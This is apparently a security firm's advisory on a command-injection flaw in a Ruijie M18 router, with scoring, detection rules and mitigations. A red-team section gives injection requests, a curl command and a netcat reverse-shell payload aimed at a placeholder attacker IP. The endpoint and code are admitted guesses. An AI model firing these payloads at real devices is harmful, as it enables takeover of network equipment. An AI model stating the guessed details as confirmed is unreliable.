CVE-2025-56089

Executive Summary

CVE-2025-56089 is a critical OS Command Injection vulnerability discovered in the Ruijie M18 router, specifically in firmware version EW_3.0(1)B11P226_M18_10223116. The flaw resides in the /usr/local/lua/dev_sta/nbr_cwmp.lua file, where the module_set function fails to sanitize user-supplied input from a crafted POST request. This allows an unauthenticated attacker to execute arbitrary operating system commands on the device, leading to full compromise of the router. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application) and CWE-78 (Improper Neutralization of Special Elements used in an OS Command). No public proof-of-concept (PoC) or exploit code has been released at this time, and no patch is available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a network device (Ruijie M18 router). The risk is primarily to end-users and organizations using this device in their network infrastructure.

CVSS Breakdown & Threat Level

The CVSS v3.1 vector string is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, resulting in a base score of 9.8 (Critical).

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed to exploit the vulnerability.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit cannot affect resources beyond the vulnerable component.
• Confidentiality (C): High – Full read access to the device's filesystem and network traffic.
• Integrity (I): High – Full write access to the device's filesystem and configuration.
• Availability (A): High – Full control over the device, including the ability to disrupt service.

Threat Level: Critical. The combination of network exploitability, no authentication, and full impact makes this a high-priority vulnerability for any organization using Ruijie M18 routers.

Deep Dive & Mechanics

The vulnerability is an OS Command Injection in the Lua-based web management interface of the Ruijie M18 router. The file /usr/local/lua/dev_sta/nbr_cwmp.lua contains a function module_set that processes POST requests. This function likely takes a parameter (e.g., module_name or command) and passes it unsanitized to a system shell command, such as os.execute() or io.popen().

Attack Flow:

1. An attacker sends a crafted POST request to the vulnerable endpoint (e.g., /cgi-bin/luci/;stok=/module_set).
2. The request includes a parameter that is concatenated into a shell command without proper escaping or validation.
3. The Lua script executes the command, allowing the attacker to inject arbitrary OS commands.
4. The attacker can then execute commands like id, cat /etc/passwd, wget, or reboot.

Example vulnerable code snippet (hypothetical):

-- Vulnerable code in nbr_cwmp.lua
function module_set()
    local module_name = luci.http.formvalue("module")
    local cmd = "echo " .. module_name .. " >> /tmp/modules.log"
    os.execute(cmd)
end

Root Cause: The lack of input sanitization and the use of shell execution functions with user-controlled data.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison.

Vulnerable Code (Lua):

-- Vulnerable
function module_set()
    local module_name = luci.http.formvalue("module")
    local cmd = "echo " .. module_name .. " >> /tmp/modules.log"
    os.execute(cmd)
end

Patched Code (Lua):

-- Patched
function module_set()
    local module_name = luci.http.formvalue("module")
    -- Sanitize input: allow only alphanumeric and underscore
    if not module_name:match("^[%w_]+$") then
        luci.http.status(400, "Bad Request")
        return
    end
    local cmd = "echo " .. module_name .. " >> /tmp/modules.log"
    os.execute(cmd)
end

The patched version uses a whitelist regex to ensure only safe characters are passed to the shell.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Ruijie M18 router with firmware EW_3.0(1)B11P226_M18_10223116.
• Network access to the router's web interface (typically on port 80 or 443).

Exploitation Steps:

1. Identify the vulnerable endpoint. Based on the CVE description, it is likely /cgi-bin/luci/;stok=/module_set or similar.
2. Craft a POST request with a malicious payload in the vulnerable parameter. For example, if the parameter is module, send:

   POST /cgi-bin/luci/;stok=/module_set HTTP/1.1
   Host: <router_ip>
   Content-Type: application/x-www-form-urlencoded
   
   module=test;id
   

3. The command id will be executed on the router. The output may be returned in the HTTP response or logged.
4. For a reverse shell, use:

   module=test;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_ip> <port> >/tmp/f
   

Example curl command:

curl -X POST http://<router_ip>/cgi-bin/luci/;stok=/module_set -d "module=test;id"

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /cgi-bin/luci/;stok=/module_set or similar paths.
• Look for unusual characters in POST parameters, especially semicolons (;), pipes (|), backticks (`), and dollar signs ($).
• Check for outbound connections from the router to unknown IP addresses on unusual ports.

Mitigation:

• If possible, disable the web management interface or restrict access to trusted IPs only.
• Apply network segmentation to isolate the router from critical assets.
• Monitor for firmware updates from Ruijie and apply them immediately.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /cgi-bin/luci/;stok=/module_set with suspicious payloads.
  • Outbound connections from the router to IP addresses not in the organization's whitelist.
  • Unusual DNS queries from the router (e.g., to known C2 domains).

• File IOCs:

  • Presence of files in /tmp/ with suspicious names (e.g., /tmp/f for reverse shell).
  • Modified or new files in /usr/local/lua/dev_sta/.

• Process IOCs:

  • Unusual processes running on the router, such as nc, bash, or python.
  • High CPU usage from shell processes.

• Log IOCs:

  • Entries in the router's log showing execution of commands like id, cat, or wget.

Detection Engineering

YARA Rule

rule CVE_2025_56089_Ruijie_M18_Command_Injection {
    meta:
        description = "Detects OS command injection attempts targeting Ruijie M18 router"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56089"
    strings:
        $s1 = "module_set" ascii wide nocase
        $s2 = "nbr_cwmp.lua" ascii wide nocase
        $s3 = /module=[^&]*[;&|`$]/ ascii wide
    condition:
        any of ($s1, $s2) and $s3
}

Sigma Rule

title: Ruijie M18 OS Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests with command injection payloads targeting Ruijie M18 router
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-56089
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/luci/;stok=/module_set'
    keywords:
        - 'module='
        - ';'
        - '|'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in module names (unlikely)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-56089 Ruijie M18 OS Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/luci/;stok=/module_set";
    http_uri;
    content:"module=";
    http_client_body;
    pcre:"/module=[^&]*(?:;|\||`|\$\(|\$\{)/Pi";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-56089;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: If possible, disconnect the Ruijie M18 router from the network or place it behind a firewall that blocks all inbound traffic to the web interface.
2. Disable remote management: If the web interface is not required, disable it entirely.
3. Restrict access: Use firewall rules to allow only trusted IP addresses to access the router's management interface.

Long-term Actions:

1. Monitor for patches: Regularly check the Ruijie support website for firmware updates. Apply the patch as soon as it becomes available.
2. Upgrade hardware: If the vendor does not release a patch, consider replacing the router with a more secure alternative.
3. Implement network segmentation: Place IoT and network devices in a separate VLAN with strict access controls.

Workaround:

• If patching is not possible, implement a Web Application Firewall (WAF) rule to block POST requests containing shell metacharacters (e.g., ;, |, `) in the module parameter.

Valters IT
Securing Digital Frontiers